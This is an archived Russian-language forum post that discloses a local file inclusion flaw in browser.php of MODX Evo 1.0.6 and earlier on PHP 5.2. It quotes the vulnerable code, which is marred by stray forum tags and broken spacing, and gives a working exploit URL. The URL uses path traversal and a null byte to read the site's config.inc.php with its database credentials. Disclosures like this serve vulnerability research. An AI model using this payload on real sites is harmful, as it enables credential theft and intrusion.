PDA

Просмотр полной версии : LFI в browser.php MODX Evo <= 1.0.6 (only php 5.2)


Agel Nash
27.07.2012, 01:29
LFI в browser.php MODX Evo [/COLOR]seturl_js();

$output=$rb->render_fbrowser($ph);

echo$output;

classFBROWSER

{

functionseturl_js()

{

$seturl_js_filename='seturl_js_'.htmlspecialchars( $_GET['editor']) .'.inc';

$seturl_js_path=MODX_BASE_PATH.'assets/plugins/';

if(file_exists($seturl_js_path.$se turl_js_filename))

{

$result=file_get_contents($seturl_js_path.$seturl_ js_filename);

}

else

{

/*...............*/

}

return$result;

}

[/COLOR]
[/PHP]
Найдено мной только что. На серверах с php >=5.3 воспроизвести не удалось, т.к. file_exists говорит что файла не существует, если ему подсунуть путь с[B]../

Примечательно, что такой мегакритичный баг живет уже давно в этом движке. (хотя наверное в приватах давно знают об этом баге).


Code:
http://example.com/manager/media/browser/mcpuk/browser.php?editor=/../../../docs/manager/includes/config.inc.php%00

Как можно заметить, мы выходим чуть выше директории в которой находится сайт. Поэтому нужно узнать пути. Благо способов море: 1 (http://community.modx-cms.ru/blog/security/7585.html), 2 (http://community.modx-cms.ru/blog/security/7582.html), 3 (http://community.modx-cms.ru/blog/security/7515.html)